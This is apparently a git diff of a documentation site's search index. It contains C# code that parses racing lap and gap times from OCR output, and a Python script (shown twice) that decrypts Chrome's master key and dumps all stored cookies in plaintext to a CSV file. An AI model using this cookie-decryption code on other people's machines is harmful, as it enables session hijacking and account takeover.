( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 5 ]. ToString () + rawNumbers [ 0 ][ 6 ]. ToString () + rawNumbers [ 0 ][ 7 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { //I dont know what could have happened Console . WriteLine ( \"Lap time convertion failed\" ); } } } } else { //I dont know what could have happened Console . WriteLine ( \"Lap time convertion failed\" ); } } } result = 0 ; result += minuts * 60 * 1000 ; result += seconds * 1000 ; result += miliseconds ; break ; case OcrImage . WindowType . Gap : if ( rawNumbers . Count == 2 ) { // This should be the x.xxx or a missed x:xx.xxx if ( rawNumbers [ 0 ]. Length > 2 ) { //Its a missed x:xx.xxx if ( rawNumbers [ 0 ]. Length == 3 ) { //It forgot the \":\" try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { //The \":\" has been mistaken as a number if ( rawNumbers [ 0 ]. Length == 4 ) { try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } } else { //It should be a normal x.xxx or xx.xxx try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } } else { if ( rawNumbers . Count == 1 ) { //can be anything depending on the size of the string if ( rawNumbers [ 0 ]. Length == 4 ) { //We just missed the '.' try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 5 ) { //We just missed the '.' try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } //There is just too much possibilities that it would be stupid to try and tell them appart so for now im leaving that as just an error Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { if ( rawNumbers . Count == 3 ) { // This should be the x:xx.xxx try { //Gaps cant be more than 9 minuts so if there is more than 1 digit it means that the '+' has been understood as an other number if ( rawNumbers [ 0 ]. Length > 1 ) rawNumbers [ 0 ] = rawNumbers [ 0 ][ rawNumbers [ 0 ]. Length - 1 ]. ToString (); minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 2 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } } } result = 0 ; result += minuts * 60 * 1000 ; result += seconds * 1000 ; result += miliseconds ; break ; default : try { result = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); } catch { result = 0 ; } break ; } page . Dispose (); return result ; } /// /// Method that recovers strings from an image using Tesseract OCR /// /// The image of the window that contains text /// The Tesseract engine /// The list of allowed chars /// The type of window the text is on. Depending on the context the OCR will behave differently /// the string it found public static string GetStringFromPng ( Bitmap image , TesseractEngine Engine , string allowedChars = \"\" , OcrImage . WindowType windowType = OcrImage . WindowType . Text ) { string result = \"\" ; //Debug int salt = rnd . Next ( 0 , 999999 ); Engine . SetVariable ( \"tessedit_char_whitelist\" , allowedChars ); Bitmap rawData = image ; Bitmap enhancedImage = new OcrImage ( rawData ). Enhance ( windowType ); Page page = Engine . Process ( enhancedImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { result += iter . GetText ( PageIteratorLevel . Word ); } while ( iter . Next ( PageIteratorLevel . Word )); } page . Dispose (); return result ; } /// /// Get a smaller image from a bigger one /// /// The big bitmap you want to get a part of /// The dimensions of the new bitmap /// The little bitmap protected Bitmap GetSmallBitmapFromBigOne ( Bitmap inputBitmap , Rectangle newBitmapDimensions ) { Bitmap sample = new Bitmap ( newBitmapDimensions . Width , newBitmapDimensions . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( inputBitmap , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), newBitmapDimensions , GraphicsUnit . Pixel ); return sample ; } /// /// Returns the closest string from a list of options /// /// an array of all the possibilities /// the string you want to compare /// The closest option protected static string FindClosestMatch ( List < string > options , string testString ) { var closestMatch = \"\" ; var closestDistance = int . MaxValue ; foreach ( var item in options ) { var distance = LevenshteinDistance ( item , testString ); if ( distance < closestDistance ) { closestMatch = item ; closestDistance = distance ; } } return closestMatch ; } //This method has been generated with the help of ChatGPT /// /// Method that computes a score of distance between two strings /// /// The first string (order irrelevant) /// The second string (order irrelevant) /// The levenshtein distance protected static int LevenshteinDistance ( string string1 , string string2 ) { if ( string . IsNullOrEmpty ( string1 )) { return string . IsNullOrEmpty ( string2 ) ? 0 : string2 . Length ; } if ( string . IsNullOrEmpty ( string2 )) { return string . IsNullOrEmpty ( string1 ) ? 0 : string1 . Length ; } var d = new int [ string1 . Length + 1 , string2 . Length + 1 ]; for ( var i = 0 ; i <= string1 . Length ; i ++) { d [ i , 0 ] = i ; } for ( var j = 0 ; j <= string2 . Length ; j ++) { d [ 0 , j ] = j ; } for ( var i = 1 ; i <= string1 . Length ; i ++) { for ( var j = 1 ; j <= string2 . Length ; j ++) { var cost = ( string1 [ i - 1 ] == string2 [ j - 1 ]) ? 0 : 1 ; d [ i , j ] = Math . Min ( Math . Min ( d [ i - 1 , j ] + 1 , d [ i , j - 1 ] + 1 ), d [ i - 1 , j - 1 ] + cost ); } } return d [ string1 . Length , string2 . Length ]; } } }","title":"Window.cs"},{"location":"Code/recoverCookiesCSV.html","text":"recoverCookiesCSV.py # Rohmer Maxime # RecoverCookies.py # Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files # This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it) # Parts of this cript have been created with the help of ChatGPT import os import json import base64 import sqlite3 import win32crypt from Cryptodome.Cipher import AES from pathlib import Path import csv def get_master_key (): with open ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Local State\" , \"r\" ) as f : local_state = f . read () local_state = json . loads ( local_state ) master_key = base64 . b64decode ( local_state [ \"os_crypt\" ][ \"encrypted_key\" ]) master_key = master_key [ 5 :] # removing DPAPI master_key = win32crypt . CryptUnprotectData ( master_key , None , None , None , 0 )[ 1 ] print ( \"MASTER KEY :\" ) print ( master_key ) print ( len ( master_key )) return master_key def decrypt_payload ( cipher , payload ): return cipher . decrypt ( payload ) def generate_cipher ( aes_key , iv ): return AES . new ( aes_key , AES . MODE_GCM , iv ) def decrypt_password ( buff , master_key ): try : iv = buff [ 3 : 15 ] payload = buff [ 15 :] cipher = generate_cipher ( master_key , iv ) decrypted_pass = decrypt_payload ( cipher , payload ) decrypted_pass = decrypted_pass [: - 16 ] . decode () # remove suffix bytes return decrypted_pass except Exception : # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key () cookies_path = Path ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Default \\\\ Network \\\\ Cookies\" ) if not cookies_path . exists (): raise ValueError ( \"Cookies file not found\" ) with sqlite3 . connect ( cookies_path ) as connection : connection . row_factory = sqlite3 . Row cursor = connection . cursor () cursor . execute ( \"SELECT * FROM cookies\" ) with open ( 'cookies.csv' , 'a' , newline = '' ) as csvfile : fieldnames = [ 'host_key' , 'name' , 'value' , 'path' , 'expires_utc' , 'is_secure' , 'is_httponly' ] writer = csv . DictWriter ( csvfile , fieldnames = fieldnames ) if csvfile . tell () == 0 : writer . writeheader () for row in cursor . fetchall (): decrypted_value = decrypt_password ( row [ \"encrypted_value\" ], master_key ) writer . writerow ({ 'host_key' : row [ \"host_key\" ], 'name' : row [ \"name\" ], 'value' : decrypted_value , 'path' : row [ \"path\" ], 'expires_utc' : row [ \"expires_utc\" ], 'is_secure' : row [ \"is_secure\" ], 'is_httponly' : row [ \"is_httponly\" ] }) print ( \"Finished CSV\" )","title":"recoverCookiesCSV.py"},{"location":"Code/recoverCookiesCSV.html#recovercookiescsvpy","text":"# Rohmer Maxime # RecoverCookies.py # Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files # This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it) # Parts of this cript have been created with the help of ChatGPT import os import json import base64 import sqlite3 import win32crypt from Cryptodome.Cipher import AES from pathlib import Path import csv def get_master_key (): with open ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Local State\" , \"r\" ) as f : local_state = f . read () local_state = json . loads ( local_state ) master_key = base64 . b64decode ( local_state [ \"os_crypt\" ][ \"encrypted_key\" ]) master_key = master_key [ 5 :] # removing DPAPI master_key = win32crypt . CryptUnprotectData ( master_key , None , None , None , 0 )[ 1 ] print ( \"MASTER KEY :\" ) print ( master_key ) print ( len ( master_key )) return master_key def decrypt_payload ( cipher , payload ): return cipher . decrypt ( payload ) def generate_cipher ( aes_key , iv ): return AES . new ( aes_key , AES . MODE_GCM , iv ) def decrypt_password ( buff , master_key ): try : iv = buff [ 3 : 15 ] payload = buff [ 15 :] cipher = generate_cipher ( master_key , iv ) decrypted_pass = decrypt_payload ( cipher , payload ) decrypted_pass = decrypted_pass [: - 16 ] . decode () # remove suffix bytes return decrypted_pass except Exception : # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key () cookies_path = Path ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Default \\\\ Network \\\\ Cookies\" ) if not cookies_path . exists (): raise ValueError ( \"Cookies file not found\" ) with sqlite3 . connect ( cookies_path ) as connection : connection . row_factory = sqlite3 . Row cursor = connection . cursor () cursor . execute ( \"SELECT * FROM cookies\" ) with open ( 'cookies.csv' , 'a' , newline = '' ) as csvfile : fieldnames = [ 'host_key' , 'name' , 'value' , 'path' , 'expires_utc' , 'is_secure' , 'is_httponly' ] writer = csv . DictWriter ( csvfile , fieldnames = fieldnames ) if csvfile . tell () == 0 : writer . writeheader () for row in cursor . fetchall (): decrypted_value = decrypt_password ( row [ \"encrypted_value\" ], master_key ) writer . writerow ({ 'host_key' : row [ \"host_key\" ], 'name' : row [ \"name\" ], 'value' : decrypted_value , 'path' : row [ \"path\" ], 'expires_utc' : row [ \"expires_utc\" ], 'is_secure' : row [ \"is_secure\" ], 'is_httponly' : row [ \"is_httponly\" ] }) print ( \"Finished CSV\" )","title":"recoverCookiesCSV.py"}]} \ No newline at end of file diff --git a/site/sitemap.xml.gz b/site/sitemap.xml.gz index 8f99609..f501d04 100644 Binary files a/site/sitemap.xml.gz and b/site/sitemap.xml.gz differ